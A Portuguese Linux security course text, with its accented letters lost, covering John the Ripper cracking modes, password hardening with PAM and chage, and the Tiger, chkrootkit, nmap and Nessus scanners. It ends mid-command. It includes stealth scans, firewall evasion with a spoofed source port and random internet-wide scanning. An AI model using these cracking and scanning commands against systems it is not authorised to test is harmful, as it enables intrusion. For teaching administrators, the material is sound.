Modo single: Este o modo de operao mais rpido. Entretanto, as regras e combinaes uti izada para decifrar as senhas so poucas. Logo, este modo no utiliza todos os recur sos do john e deve ser utilizado em uma anlise imediata, pois provavelmente ir que brar somente as senhas fraqussimas. #./john -single shadow Modo imcremental: Modo mais poderoso do john. Utiliza todas as combinaes e recurso s possveis. Possui a desvantagem de ser um processo muito demorado. #./john -incremental shadow Modo externo: Possibilita o uso de funes escritas em uma linguagem similar a C. Es tas funes so usadas pelo john para gerar novas palavras para teste. Maiores informaes esto disponveis no arquivo doc/EXTERNAL. #./john -external shadow Nota: Todos os parmetros apresentados podem ser usados em arquivo de senha com cr iptografia DES. Para isto, no lugar do arquivo shadow, especifique o arquivo com criptografia DES. Avisar os usurios com senhas quebradas: O john the Ripper possui um programa que permite que os usurios com senhas quebra das sejam automaticamente comunicados. O aviso realizado atravs de correio eletrni co. O programa utilizado para tal finalidade chamado de mailer.

Nota: Uma tima documentao do john j vem disponvel em seu pacote de instalao. Maiores plicaes sobre seus parmetros podem ser encontradas no diretrio doc do pacote de inst alao. Medidas contra Cracker de senhas Abaixo est apontado as principais medidas para evitar quebras de senhas: Garantir o uso de senhas fortes no sistema Fazer reciclagem de senhas periodicamente Desabilitar usurios que no esto sendo utilizados Executar crackers de senha periodicamente para verificar fragilidade de senh as Nunca utilizar a mesma senha em sistemas diferentes Utilize sempre que possvel MD5 em vez DES A partir de agora ser estudado cada caso apresentado acima e como aplicar estas r egras.

Garantir o uso de senhas fortes Para que uma senha seja considerada forte. Essa senha deve ter as seguintes cara ctersticas: Quantidade razovel de caracteres. Se possvel acima de 10 caracteres. No ser baseada em dicionrios de qualquer idioma. Utilizao de vrios tipos de caracteres: alfa-numrico, nmerico, especiais etc. Nunca crie senhas baseado em datas de aniversrio, nome de seu cachorro, placa de carro etc. Senhas baseadas em palavras escritas de trs para frente tambm no devem ser usad as. Abaixo est mostrado alguns exemplos de senhas fracas: 02061981 data de aniversrio. 134579 Senha contendo apenas caracteres numricos drowssap password de trs para frente make89senha - palavras baseadas em dicionrios. Utilizando o PAM para aumentar a segurana:

PAM - Pluggable Authentication Modules[Mdulos de Autenticao Conectveis] - um conjunt o de bibliotecas compartilhadas que possibilitam ao administrador escolher como as aplicaes PAM-compatveis podem autenticar seus usurios. Atravs do PAM possvel gar ir que os usurios usem senhas com maior nmeros de caracteres e que no so fceis de ser quebradas, ou seja, no so facimente encontradas em dicionrios. A segurana de senhas utilizado no Linux pode ser aumentada atravs da biblioteca pa m_cracklib.so. Esta biblioteca suporta os seguintes argumentos: retry=N- Define o nmero de tentativas N que o usurio pode fazer para fornecer uma senha considerada boa.

difok=N- Define o nmero de letras diferentes que a nova senha dever ter em rel ao antiga quando o usurio for troc-la. O valor padro 10. Este paramtro garante qu surio ir realmente trocar sua senha. minlen=N- Define a quantidade mnima de crdito da nova senha para que ela seja aceita. A biblioteca pam_cracklib.so possui um sistema de crditos conferidos. Est es crditos so conferidos de acordo com os tipos de caracteres utilizados na senha: quantidade de caracteres da senha, caracteres maisculos/minsculos, numricos e espe ciais(smbolos). Vejamos alguns exemplos: hG#p01 - +6(quantidade de caracteres) +1(uso de letra minscula) + 1(uso de le tra maiscula) + 1(uso de smbolo) + 1 (uso de caractere nmerico) = total 10 crditos. O crdito 1 no mximo para cada caractere diferente utilizado na senha, ou seja, ind epende da quantidade de vez que o caractere aparece na senha. Para utilizar a biblioteca pam_cracklib.so, edite o arquivo /etc/pam.d/passwd. U m exemplo de configurao est apresentado abaixo: password requisite /lib/security/pam_cracklib.so minlen=10 difok=10

O exemplo acima requer 10 crditos para que as senhas dos usurios sejam aceitas. Pa ra aumentar a segurana de suas senhas, voc poder aumentar o valor passado para o ar gumento minlen.

Nota: o super-usurio root poder atribuir qualquer senha para seus usurios. As regra s aplicadas atravs da biblioteca pam_cracklib.so somente ter efeito quando os usuri os tentarem alterar suas senhas. Se o usurio tentar usar uma nova senha com quantidade de crdito inferior a definid a, ser apresentada a seguinte mensagem: New password: BAD PASSWORD: it is too short

Logo, o usurio dever escolher uma outra senha que satifaa a condio de crditos pr-est lecida. Se o usurio tentar, ao alterar sua senha, utilizar a mesma anterior. Ser apresenta da a seguinte mensagem: New password: Password unchanged Neste caso, o usurio ser obrigado a alterar sua senha realmente. Caso o usurio tentar atualizar sua senha e empregar uma senha muito parecida, ser apresentado a seguinte mensagem. New password: BAD PASSWORD: is too similar to the old one A senha escolhida pelo usurio dever satisfazer o argumento difok. Portanto, a configurao do PAM muito importante para ter um maior controle das senh as utilizada em seu sistema. Pois, a biblioteca pam_cracklib.so garante a utiliz ao de senhas mais fortes. Gerenciamento das senhas do sistema Alm de forar seus usurios utilizarem senhas fortes, o bom administrador de sistema deve gerenciar usurios e senhas de forma a promover as seguintes medidas: reciclagem de senha Todos usurios devem estar periodicamente alterando suas s enhas. Isto porque um cracker pode demorar muito tempo para quebrar uma senha, e a atualizao peridica limita o tempo que poder ser usado pelo cracker de senha. Shell de usurios Somente usurios que necessitam realmente de um shell devero t-l o. Usurios de email, por exemplo, no necessitam de shell e, portanto, no dever ter. Quanto menor a quantidade de usurio com shell no sistema, maior a segurana do sist ema. Usurios inativos Usurios que no so mais utilizados devem ser removidos ou ter su a conta inativa. Quanto menor a quantidade de usurios, mais fcil administrar o sis tema e evitar que erros de configurao estejam presentes. Estudo do arquivo shadow: A senhas do sistema Linux so gravadas no arquivo shadow. Outras informaes relaciona das a senhas tambm so definidas neste arquivo. Abaixo est apresentado um exemplo de ste arquivo: michele:$1$0IwAvbLG$SgjSjlf62Kv92N6bPB7gT0:12185:0:99999:7::: paula:$1$TAUyNfac$Gl2x89ilohiANzeTuVtm/.:12185:0:99999:7::: rafaela:$1$zn3m3P97$TiJ3VBEbwPVWHb6D/VE2H.:12185:0:99999:7:::

Este arquivo possue 8 campos de definies que so separados por :. Abaixo est apresenta o o significado de cada campo: Campo Descrio Primeiro campo Define o nome do usurio. Segundo campo Senha criptografada no algoritmo MD5. Terceiro campo Quantidade de dias deste 01/01/1970 dia primeiro do ms de janeiro de 1970 contado at a ltima atualizao da senha. Quarto campo Quantidade de dias que o usurio deve manter a mesma senha, ou sej a, no tem permisso para alter-la. O valor 0 significa sem limites. Quinto campo Quantidade de dias que um usurio pode ficar utilizando a mesma se nha. Ultrapassado este tempo, a senha ser expirada. O valor 99999 novamente signi fica sem limites, ou seja, o usurio nunca precisar alterar sua senha. Sexto campo Quantidade de dias que o usurio ser avisado para alterar sua senha antes que ela seja expirada. Stimo campo Quantidade de dias que o usurio poder utilizar a senha aps sua expi rao. Depois que esgotar este tempo e a senha no for alterada, a senha ser desativada , ou seja, o usurio no ir mais acessar o sistema. Oitavo campo Quantidade de dias contado a partir de 01/01/1970 dia primeiro d o ms de janeiro de 1970 que o usurio est autorizado em usar esta conta. Passado est a quantidade de dias a conta ser expirada. A manuteno direta deste arquivo um pouco complicada e a facilidade de cometer erro s de configurao muito grande. Algumas ferramentas podem ser utilizadas para facili tar o gerenciamento das contas de usurios. Utilizando o chage: O chage uma ferramenta utilizada para facilitar a configurao e a manuteno do arquivo /etc/shadow. A seguir est apresentado a sua sintaxe: #chage [ -l ] [ -m min_days ] [ -M max_days ] [ -W warn ] [ -I inactive ] [ -E expire ] [ -d last_day ] <usurio> hand Veja os seguintes exemplos: #chage -M 60 joao Este comando configura o usurio joao para mudar sua senha de 60 em 60 dias. Porta nto, este comando altera o quinto campo do arquivo shadow conforme apresentado a baixo: joao:$1$a7RgghlL$VynViJm62j6.p7H4tNPAP/:12185:0:60:7::: Alm de garantir a reciclagem de senha com o comando apresentado acima, deve-se es tabelecer um prazo de expirao da senha, caso esta senha no seja alterada. #chage -I 5 joao A partir de agora o usurio ir ter, aps a data de expirao da senha, 5 dias para que su a senha seja efetivamente alterada, caso contrrio este usurio ter sua senha desativ ada. Este comando corresponde ao stimo campo da linha do arquivo shadow: joao:$1$a7RgghlL$VynViJm62j6.p7H4tNPAP/:12185:0:60:7:5:: O prximo exemplo determina uma quantidade de dias que o usurio no ter permisses para alterar sua senha. #chage -m 15 joao

Assim, depois de atualizar uma senha, o usurio dever ficar 15 dias sem alter-la. Es ta configurao se refere ao quarto campo da linha do arquivo shadow: joao:$1$a7RgghlL$VynViJm62j6.p7H4tNPAP/:12185:15:60:7::: hand Para verificar a configurao de um usurio execute: #chage -l joao Minimum: 15 Maximum: 60 Warning: 7 Inactive: 5 Last Change: Password Expires: Password Inactive: Account Expires:

Mai 13, 2003 Jul 12, 2003 Jul 17, 2003 Never

hand Observe que todas as configuraes so apresentadas na sada deste comando. Para de finir uma data de expirao da conta de usurio, execute: #chage -E 12/31/2004 joao Este arquivo determina que a conta do usurio joao ser expirada em 31 de dezembro d e 2004. Depois de executar estes comandos, veja: #chage -l joao Minimum: 15 Maximum: 60 Warning: 7 Inactive: 5 Last Change: Password Expires: Password Inactive: Account Expires:

Mai Jul Jul Dez

13, 12, 17, 31,

2003 2003 2003 2004

A ltima sada apresentada permite tirarmos a seguinte concluso sobre este usurio joao : A ltima alterao de sua senha foi realizada no dia 13 de maio de 2003, sendo que a t o dia 28 de maio de 2003 15 dias aps a ltima alterao - ele no ir poder alterar s nha. A senha dever ser alterada at 12 de Julho de 2003, sendo que a no alterao at o d a 17 de julho de 2003 5 dias aps vencer o prazo de expirao causar a desabilitao d ha. Em 31 de dezembro de 2004 a conta ser expirada. Nota: Sempre o usurio ser avisado 7 dias antes da senha ser expirada conforme apre sentada na sada do chage. Este o nmero de dias padro utilizado pelo sistema de senh as do Linux. Consideraes Finais Agora voc j sabe que senhas criptografadas podem ser quebradas. Portanto, no utiliz e senhas iguais em sistemas diferentes. O administrador de um servidor de Email que voc usa, por exemplo, poder quebrar sua senha e ter acesso a sua rede administ rativa partindo do princpio de que as senhas sejam iguais. Isto seria muito fcil, haja visto que o administrador tambm ter acesso aos seus email e poder descobrir fa cilmente quais redes so de sua responsabilidade. Execute crackers de senhas periodicamente para verificar a dificuldade de quebra de senhas de seus usurios. Se as senhas de seus usurios estiverem fracas, aumente a rigidez nas regras de autenticao PAM. Por ltimo, garanta a reciclagem peridica da s senhas de seus usurios.

Links Indicados http://www.openbsd.org/crypto.html Este endereo possui informaes sobre os vrios algoritmos de criptografia incluindo funes hash como: MD5, DES e SHA. http://www.openwall.com/ Site especializado em segurana. Possui informaes sobre vrios aspectos da segurana em sistemas incluindo: sistemas criptogrficos, PAM, funo crypt(), alertas de segurana etc. Todo as informaes sobre o John the Ripper est disp onvel neste endereo, incluindo o cdigo do fonte. http://packetstormsecurity.org Site especializado em segurana. Vrias ferrament as de segurana e alertas so disponveis neste endereo incluindo dicionrios e crackers de senhas para diversos sistemas operacionais. ftp://ftp.fu-berlin.de/unix/security/dictionaries/ - Possui uma grande quant idade de dicionrios que podem ser utilizados por crackers de senhas. http://focalinux.cipsga.org.br/guia/avancado/ch-d-contas.htm Site em portugus que possui documentaes sobre o gerenciamento e proteo de usurios e senhas no sistema Linux. Terminologia Utilizada

Criptografia - uma palavra oriunda do grego: krypts oculto e grheim - escre cincia que estuda formas de codificar dados.

funes unidirecionais - Tambm conhecido como funes hashing so sistemas de codifica e dados que no pode ser decodificado, ou seja, este sistema no possui o sentido in verso decriptografia - da criptografia padro conhecida. Hash de senha o texto codificado, em outras palavras o resultado da senha co dificada no entendvel. Shell Interpretador de comandos. a interface entre usurio e o ncleo do sistema operacional. No sistema Linux, o shell padro o bash. Os demais shells disponveis podem ser visualizados no arquivo /etc/shells. Cracker de senha Programa utilizado para decifrar senhas, geralmente baseado em ataques de dicionrios Salt - uma string de caracteres escolhida aleatoriamente que junto com a cha ve de criptografia utilizada para gerar o hash de senha. Chave - a prpria senha digitada pelo usurio que junto com o salt utilizado par a gerar o hash de senha. Dicionrio de senha Coleo de palavras utilizado pelo cracker para tentar decifra r senhas codificadas. PAM - Pluggable Authentication Modules[Mdulos de Autenticao Conectveis] - um con junto de bibliotecas compartilhadas que possibilitam ao administrador escolher c omo as aplicaes PAM-compatveis podem autenticar seus usurios. Exerccios de Reviso 1. Como funciona o sistema de senhas e autenticao dos usurio no Linux? Explique com o funcionam as funes unidirecionais. 2. Como funciona o algoritmo DES e quais ferramenta pode ser utilizada para gera r hashes de senhas deste algoritmo? Fale sobre as caractersticas deste algoritmo.

3. Faa uma comparao entre os algoritmos MD5 e DES apresentando suas vantagens e des vantagens. 4. Explique o funcionamento dos crackers de senhas. Quais os modos de operao do Jo hn the Ripper? Apresente os parmetros relacionados aos modos de operao. 5. Quais so as principais medidas que devem ser utilizadas para evitar ataques do s crackers de senhas? 6. Como utilizar o PAM para forar a utilizao de senhas fortes no sistema? Explique o sistema de crdito utilizada pela biblioteca pam_cracklib.so. 7. Explique todos os campos das linhas do arquivo de senha shadow. Scanners Neste captulo ser apresentado ferramentas cuja finalidade detectar e avaliar a seg urana de um sistema. Scanners

Scanners uma ferramenta para avaliao e deteco de vunerabilidades de um sistema. Por meio destas ferramentas possvel descobrir falhas e informaes relacionado segurana l cal ou de sistemas remotos. Logo, os scanners so divididos em dois tipos: Scanner s de sistema Este tipo de scanner utilizado para verificar vunerabilidades do si stema como por exemplo: permisses do sistema de arquivo, arquivos mal-configurado s, usurios com privilgio etc. Scanners de rede Este scanner verifica vunerabilidad es de rede em servidores. Por meio deste scanner possvel descobrir: portas aberta s, servios disponveis, sistemas operacional, etc. Os scanners de vunerabilidades so capazes de identificar falhas de segurana atravs de um banco de informaes internas. Portanto, o scanner uma ferramenta de anlise de segurana que permite os administr adores utiliz-los para preveno ou por pessoas que queiram encontrar uma falha no si stema para posteriormente obter acesso no autorizado. Scanner de sistema Os scanners de sistemas so mais utilizados pelos prprios administradores para corr igir falhas no sistema local. Os scanner de sistemas procuram problemas como:

1.Arquivos com permisses perigosa detecta arquivos que permitem leitura ou es crita para todos. 2.Verifica as permisses de arquivos com suid. Se algum arquivo com suid tiver permisses de escritas para outros, ele ser reportado. 3.Arquivo de senhas com permisses e configuraes incorretas. O COPS checa tanto as permisses quanto o contedo de arquivos como o passwd e shadow. Por exemplo: se algum destes arquivos tiver alguma linha errada, o erro ser reportado e uma suges to de reparo ser apresentada. Tambm reportado usurios com nmeros de identificao ig 0(zero). 4.Identifica ferramentas de backdoor - porta dos fundos. Quando uma pessoa f az um ataque bem sucedido e consegue um acesso remoto, uma de suas primeiras tar efas instalar programas que permitam um acesso futuro. Estes tipos de programas so denominados como sendo backdoor. O tiger - scanner que ser tratado em seguida identifica backdoor que so criados a partir do arquivo inetd.conf. Um tipo de fe rramenta de backdoor especfica so os rootkits, que so malwares que substituem arqui vos comuns por binrios infectados, fazendo que sejam executados e constantemente ativados. Tambm podem se infiltrar em arquivos de configurao e/ou banco de dados de registro, caso o sistema seja da famlia Windows. Uma ferramenta bastante utiliza da para checagem de rootkits o chrootkit, a ser estudado posteriormente. 5.Detecta problemas em configuraes de servios. o COPS por exemplo detecta probl

emas de configurao em servios como: NFS, FTP e TFTP. Exemplo: problemas de configur ao no arquivo exportfs que exporta volumes NFS sem restries sero reportados. Tiger Tiger - The Unix security audit and intrusion detection tool - um scanner de sis tema, que analisa seu sistema em problemas comuns de configurao e fraquezas. Ele e st disponvel em vrias distribuies, como Debian e Ubuntu, apesar da ltima verso (at ento) 3.23 ter sido lanada em 2007. Ele consiste em vrios scripts, que checam seu sistema por vulnerabilidades locais. Pela checagem ser muito dependente das caractersticas especficas de verses de pacot es de aplicativos, pode ser que o Tiger no seja 100% efetivo, relatando algumas f alhas. Por exemplo, ao checar uma distro Ubuntu 9.10, em abril de 2010, o Tiger no encontrou os arquivos de configurao do GRUB2, uma vez que estes mudaram completa mente de localizao recentemente. O cdigo-fonte do Tiger pode ser obtido atravs do endereo http://www.nongnu.org/tige r/. Ou, de uma forma mais fcil, o Tiger pode ser instalado em distribuies baseadas em Debian, atravs dos comando: #aptitude install tiger Para inicializar o processo de checagem de vunerabilidade no sistema execute: # tiger Este comando ir provavelmente demorar vrios minutos. Depois de terminar o processo de varredura, vrios arquivos sero criados no diretrio /var/log/tiger. Para verific ar o resultado, entre neste diretrio e veja o arquivo texto que contm o nome em um formato do tipo 'security.report..AAMMDD-HH:MM', por exemplo 'security.report.s ervidor1.100424-1015'. Esse arquivo ter o resultado da verificao do seu sistema, ve ja o exemplo abaixo: ATTENTION: ecurity scripts *** 3.2.2, 2007.08.28.00.00 *** Sat Apr 24 01:16:53 BRT 2010 01:16> Beginning security report for montblanc (i686 Linux 2.6.31-20-generic). # Performing check of passwd files... # Checking entries from /etc/passwd. --WARN-- [pass014w] Login (akira) is disabled, but has a valid shell. ...... --FAIL-- [pass011f] Username `root' has an empty password field. Neste exemplo foram apresentadas apenas algumas linhas do arquivo de relatrio do Tiger, este exemplo permite observar algumas vulnerabilidades. No caso acima, as vulnerabilidades sero classificadas como: WARN: um aviso que a vulnerabilidade pode apresentar algum perigo; FAIL: uma falha real de segurana. Nota: sempre interessante vasculhar o sistema periodicamente para fazer comparaes e descobrir possveis alteraes no desejadas. Este processo pode ser automatizado por meio do agendador de tarefas cron. Chkrootkit A ferramenta chrootkit vasculha por provveis rootkits que tenham sido implantados no seu sistema aps uma invaso bem-sucedida. Esta ferramenta foi eleita em 2006 po

r uma comunidade de segurana como uma das 100 mais importantes. O chkrootkit foi criado por um brasileiro - Nelson Murilo - e est disponvel livrem ente no endereo http://www.chkrootkit.org/. Para se instalar, pode-se baixar o cdi go-fonte e compilar ou simplesmente utilizar um instalador APT, em distribuies bas eadas em Debian: # aptitude install chkrootkit Para executar a ferramenta, simplesmente execute: # chkrootkit Scanner de rede Os scanner de redes so mais populares. Este tipo de scanner permite descobrir inf ormaes imprescindveis para um ataque bem sucedido. Por meio de scanners de rede pos svel remotamente descobrir o sistema operacional do alvo, portas abertas, verso do s servios e servios vunerveis.

Alguns scanners no so capazes de determinar servios vunerveis. Para determinar um se rvio vunervel o scanner deve ter um banco de informaes e anlise do servio que est se scanneado. Outros scanners apenas so considerados Port Scanner, ou seja, um scanne r de porta. Entre os principais scanner de rede para Linux, podemos citar:

Network Mapper nmap o scanner mais popular do Linux e acompanha a maioria da s distribuio. Entretanto, no um scanner de vunerabilidade. Est diponvel para downloa em http://www.insecure.org SAINT Sercurity Administrator's Integrated Network Tool Este um scanner de r ede que procura vunerabilidade no sistema remoto atravs das portas dos servios. Di sponvel em http://www.saintcorporation.com. Nessus um scanner de rede que tambm procura vunerabilidades. Este scanner est em constante desenvolvimento e cada vez mais est ganhando popularidade. Disponvel http://www.nessus.org Em nosso material ser dado nfase aos scanners nmap e nessus por serem dois scanner s de cdigo aberto e livre de licenas. Caso o leitor tenha interesse em conhecer o SAINT, uma verso trial est disponvel para download em seu site. Conceitos bsico sobre comunicao TCP/IP A pilha de protocolos TCP/IP formado por um conjuntos de protocolos. Nesta pilha , o TCP o protocolo de transporte mais utilizado pela grande maioria dos servios disponveis na Internet. O TCP um protocolo orientado a conexo connection-oriented - que s termina ou comea uma conexo se o destino responder a ele. Para garantir con ectividade, o TCP utiliza de nmeros de sequncias, pacotes SYN, pacotes ACK de conf irmao de recebimento acknowledgments, controle de fluxo etc. O protocolo TCP utiliza de portas de comunicao para garantir a conexo entre cliente e servidor. A porta equivalente ao endereo de um aplicativo em uma mquina. Portan to, ao estabelecer uma conexo, o processo de garantia de conectividade se d entre as portas de comunicao entre cliente e servidor, ou seja, por meio destas portas q ue enviado pacotes de confirmao de recebimento, pacotes SYNs etc. Abaixo est aprese ntado alguns servios que utilizam o protocolo TCP e suas respectivas portas: Servio Protocolo TCP Porta FTP File Transfer Protocol 21 SSH Secure Shell 22

SMTP Simple Mail Transfer Protocol 25 HTTP HyperText? Transfer Protocol 80 POP3 Post Office Protocol 110 NetBios? NetBios? sobre TCP/IP 139 IMAP Internet Message Access Protocol

143

Estes nmeros foram definidos pela IANA - Internet Assigned Numbers Authority que responsvel pela padronizo das portas de comunicaes TCP. O padro IANA determina que po rtas menores do que 1024 so reservadas para servios j pr-determinados como por exemp lo: SSH, HTTP etc. As portas acima de 1024 so reservadas para aplicaes de terceiros . No Linux, os nmeros de portas so definidos pelo arquivo /etc/services. Nota: O site oficial da organizao IANA http://www.iana.org. Neste site voc tem aces so a vrias normas e especificaes do protocolo TCP/IP. Existem tambm servios que so oferecidos pelo protocolo de transporte UDP, vejamos a lguns exemplos: Servio Protocolo UDP Porta DNS Domain Name Service 53 TFTP Trivial File Transfer Protocol 69 SNMP Simple Network Management Protocol

161

Nota: O DNS tambm utiliza o protocolo TCP. Entretanto, ele somente ir usar o TCP e m transferncia de zonas, ou seja, quando o servidor secundrio fazer requisies ao ser vidor primrio para atualizar sua base de dados.

Ao contrrio do TCP, o UDP no orientado a conexo connectionless e portanto no gara a entrega do pacote para a mquina remota. Funcionamento do scanner de rede Os scanner utilizam das caractersticas TCP/IP para determinar se uma porta est abe rta e consequentemente determinar qual servio est sendo executado na mquina remota.

O princpio bsico de um Port Scan baseado em enviar pacotes que faam conexes com port as TCP ou UDP e a partir da resposta da mquina remota determinar se a porta est ab erta ou no. Descoberto o nmero de porta, possvel sub-entender quais servios esto dis onveis em uma mquina remota.

J o scanner de vunerabilidade um Port Scan com maiores funcionalidades. Pois alm d e descobrir o servio que est sendo executado, este tipo de scanner ir determinar a software responsvel pelo servio e sua verso tambm. A partir da, consultas so realizad s a um banco de infomaes prprio que verifica se o software em questo possui alguma v unerabilidade conhecida. Network Mapper nmap Nmap um scanner de rede bastante completo e popular. Ele capaz de descobrir quai s portas esto abertas em uma determinada mquina e atravs disso deduzir quais servios esto sendo executados nessa mquina. Alm disto ele possui outras funes interessantes, como: determina que sistema operacional a mquina alvo est executando e pode testar se um conjunto de mquinas esto ativas - respondendo ou no a pacotes ICMP Internet C ontrol Message Protocol. Nota: O ICMP um protocolo muito utilizado para verificar funcionalidades da rede . possvel descobrir por exemplo: mquinas ativas na rede, por quais roteadores um p acote passa antes de atingir a mquina de destino etc. Instalao do nmap:

O site do scanner nmap o http://www.insecure.org/nmap. O nmap est disponvel em binr ios geralmente RPM Red Hat Package Manager - ou atravs de cdigo fonte no endereo ht tp://www.insecure.org/nmap. Faa download do arquivo no diretrio /usr/local/src e depois execute os comandos ap resentados abaixo: #bunzip2 nmap-3.20.tar.bz2 #tar cvf nmap-3.20.tar #cd nmap-3.20 #./configure #make #make install

As ltimas verses do nmap esto sendo distribudas atravs do compactador bunzip2 - exten so bz2. Verses mais antigas do nmap distribudo com extenso .tar.gz. Para estas verse utilize somente o comando tar apresentado no exemplo e acrescente a opo z. Utilizao do nmap A sintaxe bsica pode ser definida da seguinte maneira: nmap <opo <endereo IP> As principais opes do nmap esto apresentadas abaixo: -sS: TCP SYN scan stealth varredura silensiosa para evitar que a mquina remot a registre em log sua varredura. Necessita de privililgios de root.

-sT: TCP connect() scanner de porta a opo utilizada por padro. No h a necessidad do usurio ser privilegiado. -sU: Scanner de porta UDP. Com esta opo apenas portas UDP sero varridas. -sP: Ping Scanner. Est opo permite determinar quais mquinas esto ativas em uma re de. O scanner envia pacotes ICMP do tipo echo-request para as mquinas da rede e e spera respostas. As mquinas que responderem considerada como ativa. -sF: Varre mquinas atrs de firewall. Utilizado para varrer mquinas que esto prot egidas atravs de firewall. Algumas outras opes podem ser utilizada em conjunto com as anteriores, veja: -O: Utiliza do fingerprinting Impresso digital - TCP/IP para determinar o sis tema operacional remoto. -p: Opco utilizada para especificar apenas uma faixa de nmeros de portas a ser varridas. Exemplo de faixa: '1-1024,1080,6666,31337'. Este exemplo faz com que seja varrida as portas de 1 a 1024 e as portas 1080,6666 e 31337. -F: Varre apenas as portas listadas no arquivo nmap-service. Esta opo varre ap enas as principais portas e portanto fornece uma sada mais rpida do que varrer tod as as 65535 portas.

-v: Esta opo faz com que o nmap retorne uma sada com maiores informaes. Est opo re bom utilizar. Experimente utilizar -v -v . -o: Envia resultado da varredura para arquivo. Exemplo: nmap localhost -o va rredura.txt

-g: Porta de origem de varredura. Esta opo muito utilizado para enganar firewa ll baseado em filtros de pacotes. Descobrindo quais mquinas esto ativas: possvel determinar quais mquinas esto ativas em uma rede. Isto pode ser determinado por meio da opo ping scanner. Veja o exemplo: #nmap -sP 200.163.68.* Host 200.163.68.9 appears to be up. Host 200.163.68.11 appears to be up. Host 200.163.68.14 appears to be up. Host 200.163.68.17 appears to be up. Host 200.163.68.18 appears to be up. Host 200.163.68.19 appears to be up. Host 200.163.68.23 appears to be up. Host 200.163.68.27 appears to be up. O exemplo acima verifica se todas as mquinas da rede 200.163.68.0/24 esto ativas. O exemplo encontra um total de 8 mquinas dentro das 254 possibidades. Determinando quais portas esto abertas: Aqui ser apresentado um exemplo do nmap para determinar quais portas esto abertas. #nmap -v 200.1.2.3 Initiating Connect() Scan against (200.1.2.3) Adding open port 23/tcp Adding open port 53/tcp Adding open port 80/tcp The Connect() Scan took 20 seconds to scan 1549 ports. Interesting ports on (200.1.2.3): (The 1543 ports scanned but not shown below are in state: closed) Port State Service 23/tcp open telnet 53/tcp open domain 80/tcp open http 143/tcp filtered imap Este exemplo apresenta uma mquina com trs portas abertas e uma filtrada porta que o firewall no permite acesso. Portanto os servios disponveis so: telnet, domain e ht tp. A porta imap est sendo protegida atravs de firewall. Determinando o sistema operacional: possvel determinar o sistema operacional remoto(opo -O)com varredura silenciosa(opo sS) #nmap -sS -O torre.sistemasabertos.com.br Starting nmap 3.20 ( www.insecure.org/nmap/ ) at 2003-06-03 09:09 BRT Interesting ports on localhost.localdomain (127.0.0.1): (The 1609 ports scanned but not shown below are in state: closed) Port State Service 111/tcp open sunrpc 6000/tcp open X11 Remote operating system guess: Linux Kernel 2.4.0 - 2.5.20 Uptime 0.831 days (since Mon Jun 2 13:13:26 2003) Este exemplo determina o sistema operacional da mquina torre.sistemasabertos.com.

br. Este comando requere privilgios de root (super usuario) por causa da tcnica SY N scan stealth e da deteco de SO. Varrendo uma poro da Internet: Em lugar de scannear um endereo IP especfico, muito das vezes interessante abrange r uma fatia de toda a internet, veja como isto pode ser feito: nmap -v --randomize_hosts -p 80 '*.*.2.3-5' Este comando encontra servidores web em mquinas com endereos IPs que terminam .2.3 , .2.4, ou .2.5. possvel utilizar conjuntamente a opo -sS. Nota: O nmap possui tambm um frontend grfico, que pode agradar aqueles que prefere m utilizar ferramentas grficas. Voc pode fazer o download desse frontend grfico do site do prprio nmap. O frontend utiliza o GTK+ e portanto este software deve esta r instalado. Para chamar o programa, abra um interpretador de comandos na interf ace grfica de sua preferncia e digite nmapfe. Scanner Nessus O nessus um scanner de vunerabilidade, ou seja, atravs deste scanner possvel deter minar quais servios esto vunerveis remotamente. Abaixo est apresentado suas principa is caractersticas: Plugin-in architectura Cada teste de segurana escrito por meio de um plugin e xterno. Desta maneira, voc pode facilmente adicionar seus prprios testes sem ter q ue alterar o cdigo fonte do nessus. NASL. O nessus inclui NASL - Nessus Attack Scripting Language uma linguagem de programao projetada para escrever testes de segurana de forma fcil e rpida. Os tes tes de segurana tambm podem ser escritos em C. Up-to-date security vulnerability database. Preocupao com os ltimos problemas d e segurana. A base de dados de verificao de vunerabilidades atualizada diariamente pode ser encontrada no site oficial da organizao. Client-server architecture. O Nessus composto de duas partes : um servidor r esponsvel pela varredura, e um cliente que utiliza do servidor para fazer a varre dura geralmente atravs de uma aplicao em ambiente grfico. Voc pode executar o cliente e o servidor em plataformas diferentes. H diversos clientes: um para X11, um par a Win32 e um escrito em Java. O cliente tambm pode ser executado na linha de coma ndo. Smart service recognition. O Nessus capaz de determinar servios que no esto sen do executados em suas portas padro definida pela IANA. Portanto, o Nessus capaz d e determinar um servidor Web que est utilizando a porta 8080 por exemplo. Complete reports. O Nessus alm de mostrar os problemas em sua rede, ele ir, na maioria das vezes, mostrar como resolver os furos de segurana. Instalao do Nessus O nessus est disponvel no endereo http://www.nessus.org. O nessus software de cdigo aberto que pode ser utilizado sem a necessidade de licenas. O processo de instalao pode ser feito por meio de um scritpt shell fornecido por seus desenvolvedores o u manualmente por meio de seus pacotes. Instalando o nessus atravs de script shell. O site oficial do nessus fornece um script chamado nessus-installer.sh. Faa downl oad deste script e, em seguida, execute: #sh nessus-installer.sh

Algumas perguntas sero feitas, pressione ENTER para uma instalao padro do nessus. O script faz uma instalao incluindo o cliente nessus que pode ser executado em ambie nte grfico. Importante: Caso sua instalao estiver apresentado problemas de compilao, verifique s e o pacote sharutils, XFree86-devel e os pacotes gtk+ esto instalados no sistema. Nota: Caso voc tenha problemas de compilao mais interessante utilizar o prximo proce sso de instalao, pois permite observar mais de perto o processo de instalao e descob rir qual o problema apresentado. Instalando o nessus atravs do cdigo fonte. Neste processo de instalao ser necessrio instalar quatro pacotes relacionado ao ness us. Todos estes pacotes esto disponveis no site oficial do nessus. So eles: Nessus-libraries Pacote de bibliotecas necessrio para compilao do nessus. libnasl Pacote das bibliotecas NASL - Nessus Attack Scripting Language - uma lin guagem que permite escrever programas para testes de segurana no nessus. Nessus-core Este pacote fornece os principais comandos do nessus incluindo s eu daemon, cliente, gerador de certificado etc. Nessus-plugins O nessus implementa seus testes de segurana atravs de plugins q ue so anexados ao programa nessus para fazer a verificao de vunerabilidade. Este pa cote fornece os plugins necessrios para fazer a verificao de seu sistema. A sequncia de instalao pode ser feita da seguinte forma: nessus-libraries, libnasl, nessus-core e por ltimo nessus-plugins . A seguir est apresentado o processo de i nstalao de cada pacote. hand Instalao do pacote nessus-libraries: #tar xvfz nessus-libraries-2.0.3.tar.gz #cd nessus-libraries #./configure #make #make install Nota: Ao escrever este material o nessus estava na vero estvel 2.0. hand Instalao do pacote libnasl: #tar xvfz libnasl-2.0.3.tar.gz #cd libnasl #./configure #make #make install #echo &#8220;/usr/local/lib&#8221; >> /etc/ld.so.conf #export 